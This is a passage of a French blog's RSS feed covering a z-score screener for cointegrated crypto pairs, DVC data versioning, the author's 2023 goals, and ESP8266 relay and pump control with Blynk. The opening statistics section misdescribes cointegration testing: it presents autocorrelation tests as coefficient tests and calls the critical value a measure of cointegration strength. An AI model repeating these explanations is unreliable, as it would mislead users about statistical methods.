<p>Voici une petite stratégie que l&rsquo;on peut appeler Opportunité Z-score et que je laisse publique vous permettant de trouver des opportunités de trading.</p>
<p>Vous pouvez construire un screener qui analyse le Z-index sur toutes les pairs de cryptos cointégrées et qui se met à jour toutes les heures. Pour chaque pair, il suffit de prendre une timeframe de 2 semaines et un période d'1h et regarder si le z-score a bougé fortement.</p>
<br/>
<h2 id="calcul-du-z-score">Calcul du z-score</h2>
<pre tabindex="0"><code>def zscore(series):
    return (series - series.mean()) / np.std(series)
</code></pre><br/>
<h2 id="autres-indicateurs">Autres indicateurs</h2>
<ul>
<li>
<p>t-value (test-value = test de valeur): Le test de valeur est utilisé pour déterminer si les deux séries peuvent être utilisées pour construire un modèle de prévision à long terme.
Pour réaliser le test de valeur, on calcule d&rsquo;abord une régression linéaire entre les deux séries. On peut alors utiliser un test statistique, comme le test de Durbin-Watson ou le test de Breusch-Godfrey, pour vérifier si le coefficient de la régression est significativement différent de zéro. Si le coefficient est significativement différent de zéro, cela signifie que les deux séries sont cointégrées et qu&rsquo;un modèle de prévision à long terme peut être construit. Si le coefficient n&rsquo;est pas significativement différent de zéro, cela signifie que les deux séries ne sont pas cointégrées et qu&rsquo;un modèle de prévision à long terme ne peut pas être construit.</p>
</li>
<li>
<p>c-value (critical value): C-value est une mesure de la force de la cointégration entre deux variables. Cela mesure à quel point les deux variables sont liées et dépendent l&rsquo;une de l&rsquo;autre à long terme. Plus le C-value est élevé, plus la cointégration est forte. Cela peut être utilisé pour évaluer la qualité de la relation entre les deux variables et pour déterminer si elles peuvent être utilisées comme base d&rsquo;un modèle de cointégration.</p>
</li>
</ul>
<blockquote>
<p>t-value doit être inférieur à c-value.</p></blockquote>
<ul>
<li>Hedge ratio: Le ratio de couverture est un concept utilisé pour décrire la proportion de la position d&rsquo;un actif qui est couverte par une autre position dans un actif de couverture. Le ratio de couverture est généralement utilisé pour minimiser le risque d&rsquo;une position en diversifiant la portefeuille. Le ratio de couverture ne garantit pas la neutralisation complète du risque, mais il peut être utilisé pour atténuer les fluctuations de la valeur de la position.</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Data Version Control pour vos projets data ou algo-trading</title>
            <link>https://leandeep.com/data-version-control-pour-vos-projets-data-ou-algo-trading/</link>
            <pubDate>Mon, 02 Jan 2023 12:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/data-version-control-pour-vos-projets-data-ou-algo-trading/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons voir comment versionner nos datasets et notre code. Les datasets ne seront pas stockés sur git car cet outil n&amp;rsquo;est pas fait pour stocker des fichiers volumineux. Il faut donc stocker les données ailleurs. Ici je vais les stocker sur Google Drive. DVC (Data Version Control) va permettre de versionner les data en créant une référence (un hash) qui sera stocké dans le commit git. C&amp;rsquo;est simple mais excessivement efficace.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons voir comment versionner nos datasets et notre code. Les datasets ne seront pas stockés sur git car cet outil n&rsquo;est pas fait pour stocker des fichiers volumineux. Il faut donc stocker les données ailleurs. Ici je vais les stocker sur Google Drive. DVC (Data Version Control) va permettre de versionner les data en créant une référence (un hash) qui sera stocké dans le commit git. C&rsquo;est simple mais excessivement efficace.</p>
<blockquote>
<p>Pourquoi Google Drive ?<br/>
Il est possible de connecter DVC à plusieurs data storages. Minio est une alternative très intéressante. J&rsquo;ai déjà utilisé cet outil plusieurs fois par le passé en remplacement d&rsquo;un bucket s3 classique sur AWS. C&rsquo;est qualitatif et donc je le recommande. Néanmoins il faut le maintenir. Un abonnement Google Drive à 2 To par an coûte 100€ par an. C&rsquo;est largement <em>worth it</em> et on a largement de quoi voir venir avecc autant de stockage.</p></blockquote>
<p>Voici l&rsquo;arborescence des projets data/algo-trading que j&rsquo;utilise:</p>
<pre tabindex="0"><code>├── README.md
├── data
│   └── raw
│       ├── BTCUSDT-2017-2022-1mth.csv
│       └── BTCUSDT-2017-2022-1mth.csv.dvc (generated)
├── docs.md
├── mypy.ini
├── processes
│   └── get_data.py
├── pyproject.toml
├── requirements.txt
├── results
│   ├── RSI-BTCUSDT-20170101-20201231-12h.csv
...
</code></pre><br/>
<h2 id="setup-dvc-and-add-first-dataset">Setup dvc and add first dataset</h2>
<pre tabindex="0"><code># cd dans_mon_repo
git init
git remote add origin git@github.com:...
git branch -M master
git push -u origin master
git checkout -b votre_branch
dvc init
dvc add data/raw/BTCUSDT-2017-2022-1mth.csv 
# cette commande génère le fichier BTCUSDT-2017-2022-1mth.csv.dvc
# L&#39;output de la commande dvc add affiche la commande suivante à exécuter:
git add data/raw/BTCUSDT-2017-2022-1mth.csv.dvc data/raw/.gitignore 
git commit
dvc remote add -d storage gdrive://uri_de_votre_dossier_sur_gdrive_le_folder_id
git commit .dvc/config -m &#34;Configure remote storage on Google Drive&#34;
git push origin votre_branch
dvc push
</code></pre><br/>
<h2 id="récupérer-ses-data-sur-nouveau-repo-cloné">Récupérer ses data sur nouveau repo cloné</h2>
<pre tabindex="0"><code># cd /tmp
# git clone repo_url
# cd repo

tree
├── README.md
├── data
│   └── raw
│       └── BTCUSDT-2017-2022-1mth.csv.dvc
├── docs.md
├── mypy.ini
├── processes
│   └── get_data.py
├── pyproject.toml
├── requirements.txt
└── results
dvc pull

tree
├── README.md
├── data
│   └── raw
│       ├── BTCUSDT-2017-2022-1mth.csv
│       └── BTCUSDT-2017-2022-1mth.csv.dvc
├── docs.md
├── mypy.ini
├── processes
│   └── get_data.py
├── pyproject.toml
└── results
</code></pre><br/>
<h2 id="git-checkout-et-récupérer-les-data-lié-au-commit">git checkout et récupérer les data lié au commit</h2>
<pre tabindex="0"><code>git checkout mon_commit_hash
dvc checkout
# cela va automatiquement modifier le dataset
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Et vous quels sont vos projets pour 2023 ?</title>
            <link>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2023/</link>
            <pubDate>Mon, 02 Jan 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2023/</guid>
            <description>&lt;p&gt;Chaque année, j&amp;rsquo;aime me fixer des objectifs professionnels &lt;strong&gt;en plus de&lt;/strong&gt; mon activité principale. Depuis 3 ans je les publie sur ce blog.&lt;/p&gt;
&lt;p&gt;Voici mon programme pour l&amp;rsquo;année 2023:&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;1. Pérennisation trading bots&lt;/strong&gt; #TopPrio1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Arbitrage bots
&lt;ul&gt;
&lt;li&gt;Focus DeFi &amp;lt;-&amp;gt; CeFi trades automatiques&lt;/li&gt;
&lt;li&gt;Documenter les formules de prices calculations pour les différents DEXes pour point #2&lt;/li&gt;
&lt;li&gt;Ajouter une nouvelle brique/feature (en Rust) pour sortir automatiquement les fonds sur cold wallet après trade (cold wallet sécurisé et pas chez moi. &lt;strong&gt;C&amp;rsquo;est comme à la banque: &amp;ldquo;pas de cash ici&amp;rdquo; -&amp;gt; #security&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Voir la faisabilité pour réaliser des limite orders depuis un hardware wallet -&amp;gt; Puis faire des trades irréalistes ou queue de chandele&lt;/li&gt;
&lt;li&gt;Afficher mon trading dashboard homemade sur écran géant&lt;/li&gt;
&lt;li&gt;Audit sécurité + anonymisation pour encore plus de sécurité (pas plus de détail #security)&lt;/li&gt;
&lt;li&gt;Ré-écrire quelques parties de code en suivant le pattern port adapter (Archi Hexagonale)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Trading Algorithmique #toDoFirstAsItIsAQuickWin
&lt;ul&gt;
&lt;li&gt;Finir automatisation de la partie data science (Python)&lt;/li&gt;
&lt;li&gt;Finir automatisation de la partie backtesting et entrer dans une logique de continuous improvement&lt;/li&gt;
&lt;li&gt;Documenter Retour d&amp;rsquo;Expérience backtesting&lt;/li&gt;
&lt;li&gt;Lancer le même bot sur concurrent de Binance et mesurer les différences à la recherche d&amp;rsquo;opportunités (voir si utilité d&amp;rsquo;utiliser CCTX plutôt que de taper directement dans l&amp;rsquo;API de Binance)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. Provide DeFi/web3 trainings/conf/presentation&lt;/strong&gt; #TopPrio2&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Chaque année, j&rsquo;aime me fixer des objectifs professionnels <strong>en plus de</strong> mon activité principale. Depuis 3 ans je les publie sur ce blog.</p>
<p>Voici mon programme pour l&rsquo;année 2023:</p>
<br/>
<p><strong>1. Pérennisation trading bots</strong> #TopPrio1</p>
<ul>
<li>Arbitrage bots
<ul>
<li>Focus DeFi &lt;-&gt; CeFi trades automatiques</li>
<li>Documenter les formules de prices calculations pour les différents DEXes pour point #2</li>
<li>Ajouter une nouvelle brique/feature (en Rust) pour sortir automatiquement les fonds sur cold wallet après trade (cold wallet sécurisé et pas chez moi. <strong>C&rsquo;est comme à la banque: &ldquo;pas de cash ici&rdquo; -&gt; #security</strong></li>
<li>Voir la faisabilité pour réaliser des limite orders depuis un hardware wallet -&gt; Puis faire des trades irréalistes ou queue de chandele</li>
<li>Afficher mon trading dashboard homemade sur écran géant</li>
<li>Audit sécurité + anonymisation pour encore plus de sécurité (pas plus de détail #security)</li>
<li>Ré-écrire quelques parties de code en suivant le pattern port adapter (Archi Hexagonale)</li>
</ul>
</li>
<li>Trading Algorithmique #toDoFirstAsItIsAQuickWin
<ul>
<li>Finir automatisation de la partie data science (Python)</li>
<li>Finir automatisation de la partie backtesting et entrer dans une logique de continuous improvement</li>
<li>Documenter Retour d&rsquo;Expérience backtesting</li>
<li>Lancer le même bot sur concurrent de Binance et mesurer les différences à la recherche d&rsquo;opportunités (voir si utilité d&rsquo;utiliser CCTX plutôt que de taper directement dans l&rsquo;API de Binance)</li>
</ul>
</li>
</ul>
<p><strong>2. Provide DeFi/web3 trainings/conf/presentation</strong> #TopPrio2</p>
<ul>
<li>Retour d&rsquo;expérience après 3 ans de trading</li>
<li>Formation arbitrage en présentiel (à donner en France ou étranger)</li>
</ul>
<p><strong>3. Lire un autre trading book</strong></p>
<ul>
<li>Référence: <a href="https://www.amazon.fr/gp/product/B09DJ5FLZS/ref=ox_sc_saved_image_3?smid=A1X6FK5RDHNB96&amp;psc=1">Wyckoff 2.0: Structures, Volume Profile et Order Flow: Combiner la logique de la Méthodologie Wyckoff et l&rsquo;objectivité du Volume Profile</a></li>
<li>Ou voir si j&rsquo;ai trouvé une autre référence plus intéressant sur le trading algorithmique/ arbitrage statistique</li>
</ul>
<p><strong>4. Suivre un training trading scalping type bookmap</strong></p>
<p><strong>5. Continuer à suivre quotidiennement l&rsquo;actualité économique et crypto + Analyse Fondamentale projets crypto</strong></p>
<p><strong>6. Impression 3D</strong> (si mon imprimante a pu être réparée et si déménagement terminé)</p>
<ul>
<li>Constuire une éolienne en PLA (pour résistence)</li>
<li>Construire un robot Scara en résine (pas besoin de résistence -&gt; travail de précision)</li>
</ul>
<p><strong>7. Ethical hacking</strong> (par passion depuis toujours)</p>
<ul>
<li>DNSSec: comprendre (pour mieux se protéger) comment on réaliser un DNS hijacking</li>
<li>Smart Contracts audits sur une DAO en mode anonyme</li>
<li>Tester Bettercap et comprendre les capabilities dans mon réseau domestique</li>
</ul>
<p><strong>8. Lire un livre de développement personnel</strong></p>
<p><strong>9. Automatiser un jardin hydroponique + Microgreens avec eps8266</strong> #TopPrio3</p>
<ul>
<li>Arrosage</li>
<li>Eclairage</li>
<li>Mesurer le PH et Electro Conductivité + Régulation (et comment gérer la dérive du Phmètre. Ma grosse incertitude -&gt; Plan B si la gestion de la dérive trop compliquée: créer un protocole pour toujours avoir la même solution nutritive en jouant sur les intrants)</li>
<li>Faire pousser ma première salade dans l&rsquo;eau (avant fin février pour être en plein hiver et volontairement en mode ultra low cost)</li>
<li>(+ Apprendre à mesurer tous les nutriments NPK manuellement)</li>
</ul>
<p><strong>10. Finir mini app partage vidéos 3D (Rust API/ Vue + Threejs)</strong></p>
<p><strong>11. Lire le journal officiel RGPD</strong> car j&rsquo;en ai assez d&rsquo;entendre &ldquo;parce que GDPR&rdquo; en réunion</p>
<ul>
<li><a href="https://eur-lex.europa.eu/legal-content/FR/TXT/PDF/?uri=CELEX:32016R0679">https://eur-lex.europa.eu/legal-content/FR/TXT/PDF/?uri=CELEX:32016R0679</a></li>
</ul>
<p><strong>12. Etude de marché et business plan pour nouveau investissement</strong> (sujet non communiqué et chronophage)</p>
<p><strong>13. Développer des compétences en géothermie</strong></p>
]]></content>
        </item>
        
        <item>
            <title>Piloter une pompe péristaltique avec un esp8266</title>
            <link>https://leandeep.com/piloter-une-pompe-p%C3%A9ristaltique-avec-un-esp8266/</link>
            <pubDate>Mon, 12 Dec 2022 23:10:00 +0000</pubDate>
            
            <guid>https://leandeep.com/piloter-une-pompe-p%C3%A9ristaltique-avec-un-esp8266/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Cet article fait suite à &lt;a href=&#34;https://leandeep.com/compiler-et-uploader-son-code-sur-une-board-esp8266/&#34;&gt;mon article précédent&lt;/a&gt; sur l&amp;rsquo;utilisation d&amp;rsquo;une board avec esp8266. Voici ici comment piloter le relai de la même board &lt;code&gt;ESP12F Relay X1 V2.1&lt;/code&gt; en utilisant Blynk. C&amp;rsquo;est plus une prise de notes pour partage et reminder personel pour réutilisation future.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;utilisation-de-blynk&#34;&gt;Utilisation de Blynk&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Créer un compte et &amp;ldquo;skipper&amp;rdquo; tous les quickstart guides et tutorials.&lt;/li&gt;
&lt;li&gt;Créer un nouveau template. Donnez lui le nom que vous souhaitez.&lt;/li&gt;
&lt;li&gt;Créer un datastream. Nommez le pompe par exemple et sélectionnez V0 comme PIN virtuel.&lt;/li&gt;
&lt;li&gt;Créer une automation. Nommez la pompe, sélectionnez le datastream que vous venez de créer et sélectionnez switch comme type d&amp;rsquo;automation.&lt;/li&gt;
&lt;li&gt;Dans web dashboard, drag and drop un switch button sur le dashboard/ grid et cliquez sur la wheel settings du switch button que vous venez de déposer.&lt;/li&gt;
&lt;li&gt;Dans les settings du switch button, sélectionnez pompe (V0) comme data stream et laissez &amp;ldquo;On value&amp;rdquo; = 1 et &amp;ldquo;Off value&amp;rdquo; = 0.&lt;/li&gt;
&lt;li&gt;Sauvegardez vos changements dans Blynk&lt;/li&gt;
&lt;li&gt;Ouvrir Arduino IDE et installer le librairie Blynk depuis la section Manage libraries.&lt;/li&gt;
&lt;li&gt;On ne va pas créer un projet Blynk from scratch. On va ouvrir un projet example Blynk. Pour ce faire, cliquez sur &lt;code&gt;Fichier&lt;/code&gt; -&amp;gt; &lt;code&gt;Examples&lt;/code&gt; -&amp;gt; &lt;code&gt;Blynk&lt;/code&gt; -&amp;gt; &lt;code&gt;Blynk.Edgent&lt;/code&gt; -&amp;gt; &lt;code&gt;Edgent_ESP8266&lt;/code&gt;. L&amp;rsquo;IDE va ouvrir une nouvelle fenêtre avec plusieurs fichiers. Le fichier &lt;code&gt;Edgent_ESP8266.ino&lt;/code&gt; ressemble à ceci:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;// Fill-in information from your Blynk Template here
#define BLYNK_TEMPLATE_ID &amp;#34;...&amp;#34;
#define BLYNK_DEVICE_NAME &amp;#34;...&amp;#34;

#define BLYNK_FIRMWARE_VERSION        &amp;#34;0.1.0&amp;#34;

#define BLYNK_PRINT Serial
//#define BLYNK_DEBUG

#define APP_DEBUG


// Uncomment your board, or configure a custom board in Settings.h
//#define USE_SPARKFUN_BLYNK_BOARD
//#define USE_NODE_MCU_BOARD
//#define USE_WITTY_CLOUD_BOARD
//#define USE_WEMOS_D1_MINI

#include &amp;#34;BlynkEdgent.h&amp;#34;

void setup()
{
  Serial.begin(115200);
  delay(100);
  pinMode(PIN_RELAY, OUTPUT);
  BlynkEdgent.begin();
}

void loop() {
  BlynkEdgent.run();
}
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Retournez dans Blynk et copier le code &amp;ldquo;Firmware configuration&amp;rdquo; depuis la section &amp;ldquo;Info&amp;rdquo; de votre template. Voici un exemple du code dont je parle:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#define BLYNK_TEMPLATE_ID &amp;#34;....&amp;#34;
#define BLYNK_DEVICE_NAME &amp;#34;...&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Collez ce code à la place des lignes commentées dans votre fichier &lt;code&gt;Edgent_ESP8266.ino&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Ajouter la ligne suivante pour spécifier quel Pin sera utilisé sur la board.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#define PIN_RELAY 5
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Enfin ajouter le code suivant pour binder et intéragir avec le pin (ici 5) de la board au pin virtuel (v0).&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;BLYNK_WRITE(V0)
{
  if (param.asInt() == 1)
  {
    digitalWrite(PIN_RELAY, HIGH); 
  }
  else
  {
    digitalWrite(PIN_RELAY, LOW); 
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;code-final&#34;&gt;Code final&lt;/h2&gt;
&lt;p&gt;Voici le code du fichier principal &lt;code&gt;Edgent_ESP8266.ino&lt;/code&gt; (le seul fichier que j&amp;rsquo;ai dû modifier):&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Cet article fait suite à <a href="https://leandeep.com/compiler-et-uploader-son-code-sur-une-board-esp8266/">mon article précédent</a> sur l&rsquo;utilisation d&rsquo;une board avec esp8266. Voici ici comment piloter le relai de la même board <code>ESP12F Relay X1 V2.1</code> en utilisant Blynk. C&rsquo;est plus une prise de notes pour partage et reminder personel pour réutilisation future.</p>
<br/>
<h2 id="utilisation-de-blynk">Utilisation de Blynk</h2>
<ul>
<li>Créer un compte et &ldquo;skipper&rdquo; tous les quickstart guides et tutorials.</li>
<li>Créer un nouveau template. Donnez lui le nom que vous souhaitez.</li>
<li>Créer un datastream. Nommez le pompe par exemple et sélectionnez V0 comme PIN virtuel.</li>
<li>Créer une automation. Nommez la pompe, sélectionnez le datastream que vous venez de créer et sélectionnez switch comme type d&rsquo;automation.</li>
<li>Dans web dashboard, drag and drop un switch button sur le dashboard/ grid et cliquez sur la wheel settings du switch button que vous venez de déposer.</li>
<li>Dans les settings du switch button, sélectionnez pompe (V0) comme data stream et laissez &ldquo;On value&rdquo; = 1 et &ldquo;Off value&rdquo; = 0.</li>
<li>Sauvegardez vos changements dans Blynk</li>
<li>Ouvrir Arduino IDE et installer le librairie Blynk depuis la section Manage libraries.</li>
<li>On ne va pas créer un projet Blynk from scratch. On va ouvrir un projet example Blynk. Pour ce faire, cliquez sur <code>Fichier</code> -&gt; <code>Examples</code> -&gt; <code>Blynk</code> -&gt; <code>Blynk.Edgent</code> -&gt; <code>Edgent_ESP8266</code>. L&rsquo;IDE va ouvrir une nouvelle fenêtre avec plusieurs fichiers. Le fichier <code>Edgent_ESP8266.ino</code> ressemble à ceci:</li>
</ul>
<pre tabindex="0"><code>// Fill-in information from your Blynk Template here
#define BLYNK_TEMPLATE_ID &#34;...&#34;
#define BLYNK_DEVICE_NAME &#34;...&#34;

#define BLYNK_FIRMWARE_VERSION        &#34;0.1.0&#34;

#define BLYNK_PRINT Serial
//#define BLYNK_DEBUG

#define APP_DEBUG


// Uncomment your board, or configure a custom board in Settings.h
//#define USE_SPARKFUN_BLYNK_BOARD
//#define USE_NODE_MCU_BOARD
//#define USE_WITTY_CLOUD_BOARD
//#define USE_WEMOS_D1_MINI

#include &#34;BlynkEdgent.h&#34;

void setup()
{
  Serial.begin(115200);
  delay(100);
  pinMode(PIN_RELAY, OUTPUT);
  BlynkEdgent.begin();
}

void loop() {
  BlynkEdgent.run();
}
</code></pre><ul>
<li>Retournez dans Blynk et copier le code &ldquo;Firmware configuration&rdquo; depuis la section &ldquo;Info&rdquo; de votre template. Voici un exemple du code dont je parle:</li>
</ul>
<pre tabindex="0"><code>#define BLYNK_TEMPLATE_ID &#34;....&#34;
#define BLYNK_DEVICE_NAME &#34;...&#34;
</code></pre><ul>
<li>Collez ce code à la place des lignes commentées dans votre fichier <code>Edgent_ESP8266.ino</code>.</li>
<li>Ajouter la ligne suivante pour spécifier quel Pin sera utilisé sur la board.</li>
</ul>
<pre tabindex="0"><code>#define PIN_RELAY 5
</code></pre><ul>
<li>Enfin ajouter le code suivant pour binder et intéragir avec le pin (ici 5) de la board au pin virtuel (v0).</li>
</ul>
<pre tabindex="0"><code>BLYNK_WRITE(V0)
{
  if (param.asInt() == 1)
  {
    digitalWrite(PIN_RELAY, HIGH); 
  }
  else
  {
    digitalWrite(PIN_RELAY, LOW); 
  }
}
</code></pre><br/>
<h2 id="code-final">Code final</h2>
<p>Voici le code du fichier principal <code>Edgent_ESP8266.ino</code> (le seul fichier que j&rsquo;ai dû modifier):</p>
<pre tabindex="0"><code>// Fill-in information from your Blynk Template here
#define BLYNK_TEMPLATE_ID &#34;VOTRE_ID&#34;
#define BLYNK_DEVICE_NAME &#34;LE_NOM_DE_VOTRE_DEVICE&#34;

#define BLYNK_FIRMWARE_VERSION        &#34;0.1.0&#34;

#define BLYNK_PRINT Serial
//#define BLYNK_DEBUG

#define APP_DEBUG

#define PIN_RELAY 5


// Uncomment your board, or configure a custom board in Settings.h
//#define USE_SPARKFUN_BLYNK_BOARD
//#define USE_NODE_MCU_BOARD
//#define USE_WITTY_CLOUD_BOARD
//#define USE_WEMOS_D1_MINI

#include &#34;BlynkEdgent.h&#34;

void setup()
{
  Serial.begin(115200);
  delay(100);
  pinMode(PIN_RELAY, OUTPUT);
  BlynkEdgent.begin();
}

BLYNK_WRITE(V0)
{
  if (param.asInt() == 1)
  {
    digitalWrite(PIN_RELAY, HIGH); 
  }
  else
  {
    digitalWrite(PIN_RELAY, LOW); 
  }
}

void loop() {
  BlynkEdgent.run();
}
</code></pre><br/>
<h2 id="pilotage-via-app-mobile">Pilotage via App mobile</h2>
<p>Après avoir compilé et uploadé le sketch sur l&rsquo;esp8266, il est maintenant temps de connecter l&rsquo;esp8266 au wifi pour pouvoir piloter le relai via internet, donc depuis n&rsquo;importe où.</p>
<p>Télécharger l&rsquo;app Android <code>Blynk IoT</code> depuis le Play Store et cliquer sur &ldquo;Add Device&rdquo;. Cliquer sur &ldquo;Search nearby device&rdquo;. Il vous sera demandé d&rsquo;activer le wifi sur votre téléphone. Faites le et sélectionnez le hotspot de votre esp8266. Une fois votre SmartPhone connecté à votre esp8266 en wifi, vous pourrez configurer le Wifi de votre esp8266 en sélectionnant le wifi de votre domicile et en entrant son mot de passe tout simplement. Une fois votre esp8266 configuré et connecté à internet, vous pourrez contrôler votre relai de n&rsquo;importe où dans le monde et créer des automations plus avancées directement via Blynk dashboard. Il ne sera plus nécessaire d&rsquo;intéragir avec le code. Cette solution Blynk est très bien pour créer de petits projets personnels très rapidement.</p>
<p>Dans mon cas, je pilote des pompes péristaltiques comme celle ci:</p>
<p><img src="/images/pompe-peristaltique.jpg" alt="image"></p>
<p>Et je peux les activer via l&rsquo;app mobile Blynk. Par exemple:</p>
<p><img src="/images/blynk-interface-android.jpg" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Compiler et uploader son code sur une board esp8266</title>
            <link>https://leandeep.com/compiler-et-uploader-son-code-sur-une-board-esp8266/</link>
            <pubDate>Thu, 08 Dec 2022 20:50:00 +0000</pubDate>
            
            <guid>https://leandeep.com/compiler-et-uploader-son-code-sur-une-board-esp8266/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Je suis en train de créer un arrosage automatique pour mes productions de emicro-pousses et régulateur de PH/ EC pour jardin hydroponique connecté.
Dans cet article, nous allons voir comment piloter la board &lt;code&gt;ESP12F Relay X1 V2.1&lt;/code&gt; qui embarque un esp8266.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/esp8266.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Je cherchais à me mettre à jour sur l&amp;rsquo;IoT et j&amp;rsquo;ai découvert les vidéos des Frères Poulain disponibles sur Youtube. Je les recommande fortement &lt;a href=&#34;https://www.youtube.com/@lesfrerespoulain&#34;&gt;https://www.youtube.com/@lesfrerespoulain&lt;/a&gt; .&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Après avoir cherché plusieurs heures comment envoyer mon code sur l&amp;rsquo;esp, car bien-sûr il n&amp;rsquo;y avait pas de documentation livré avec mon colis, je me dis que cela pourrait être utile de documenter la procédure.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Je suis en train de créer un arrosage automatique pour mes productions de emicro-pousses et régulateur de PH/ EC pour jardin hydroponique connecté.
Dans cet article, nous allons voir comment piloter la board <code>ESP12F Relay X1 V2.1</code> qui embarque un esp8266.</p>
<p><img src="/images/esp8266.png" alt="image"></p>
<blockquote>
<p>Je cherchais à me mettre à jour sur l&rsquo;IoT et j&rsquo;ai découvert les vidéos des Frères Poulain disponibles sur Youtube. Je les recommande fortement <a href="https://www.youtube.com/@lesfrerespoulain">https://www.youtube.com/@lesfrerespoulain</a> .</p></blockquote>
<p>Après avoir cherché plusieurs heures comment envoyer mon code sur l&rsquo;esp, car bien-sûr il n&rsquo;y avait pas de documentation livré avec mon colis, je me dis que cela pourrait être utile de documenter la procédure.</p>
<br/>
<h2 id="alimentation-de-la-board-en-mode-programmation">Alimentation de la board en mode programmation</h2>
<p>Tout simplement par usb. On ne s&rsquo;embête à brancher quoique ce soit en mode développemeent. On branche le micro-usb.</p>
<br/>
<h2 id="branchement-usb-to-serial">Branchement usb-to-serial</h2>
<p>Alimenter la board en énergie ne suffit pas. Il faut pouvoir envoyer son code dans l&rsquo;esp.</p>
<p>Pour ce faire, il faut une carte usb-to-serial:</p>
<p><img src="/images/usb-to-serial.png" alt="image"></p>
<blockquote>
<p>Voici la référence: <code>DSD TECH SH-U06B Adaptateur série USB vers TTL avec Puce PL2303GC</code></p></blockquote>
<p>Il faut relier:</p>
<ul>
<li>le pin RX de la carte au pin TX de la board esp (dans mon cas fil noir)</li>
<li>le pin TX de la carte au pin RX de la board esp (dans mon cas fil bleu)</li>
<li>le GND de la carte au GND de la board esp (dans mon cas fil rouge)</li>
</ul>
<p>Ensuite il faut démarrer la board esp en mode programmation. Pour cela, il faut brancher un fil entre IO0 et GND et appuyer sur le bouton <code>reset</code>. Si un programme tourait, il s&rsquo;arrête et vous pouvez flasher la board depuis Arduino IDE.</p>
<br/>
<h2 id="configuration-darduino-ide">Configuration d&rsquo;Arduino IDE</h2>
<p>Après avoir installé Arduino IDE, l&rsquo;ouvrir et aller dans <code>File</code> -&gt; <code>Preferences</code>. Cliquer sur <code>Add URL</code> et ajouter l&rsquo;URL suivante <code>https://arduino.esp8266.com/stable/package_esp8266com_index.json</code> dans la section <code>Additional Development Board Manager URL</code>.</p>
<p>Ensuite ajouter la libraire esp8266. Cliquer sur l&rsquo;onglet <code>Tools</code> -&gt; <code>Boards:</code> -&gt; <code>Boards manager</code>. Puis dans la barre de recherche entrere <code>ESP8266</code> pour module/librairie esp8266 complémentaire.</p>
<p>Un fois installé, cliquer une nouvelle fois sur <code>Tools</code> -&gt; <code>Boards:</code> -&gt; <code>esp8266</code> et choisissez soit la board <code>ESPino (ESP-12 Module)</code> ou <code>Generic ESP8266 Module</code>.</p>
<br/>
<h2 id="premier-code">Premier code</h2>
<p>Voici le premier merveilleux code que j&rsquo;ai écrit pour tester le bon fonctionnement de mon setup:</p>
<pre tabindex="0"><code>#define PIN_LED 16
#define PIN_RELAY 5

void setup() {
  pinMode(PIN_LED, OUTPUT);
  pinMode(PIN_RELAY, OUTPUT);
  digitalWrite(PIN_LED, HIGH);
  digitalWrite(PIN_RELAY, HIGH);
}

void loop() {
  digitalWrite(PIN_LED, LOW);
  digitalWrite(PIN_RELAY, LOW);
  delay(5000);              
  digitalWrite(PIN_LED, HIGH);
  digitalWrite(PIN_RELAY, HIGH);
  delay(5000);
}
</code></pre><p><br/>
Comment j&rsquo;ai choisi ces PINs ?
<br/>
Via la seule doc que j&rsquo;ai trouvé, mais bien utile!</p>
<p><img src="/images/gpio-esp8266.png" alt="image"></p>
<br/>
<h2 id="compilationupload">Compilation/Upload</h2>
<p>On clique sur <code>Upload</code> et si tout est bien branché et configuré, vous pourrez voir ces logs dans la console output d&rsquo;Arduino:</p>
<pre tabindex="0"><code>Executable segment sizes:

ICACHE : 32768           - flash instruction cache 

IROM   : 231788          - code in flash         (default or ICACHE_FLASH_ATTR) 

IRAM   : 26793   / 32768 - code in IRAM          (IRAM_ATTR, ISRs...) 

DATA   : 1496  )         - initialized variables (global, static) in RAM/HEAP 

RODATA : 876   ) / 81920 - constants             (global, static) in RAM/HEAP 

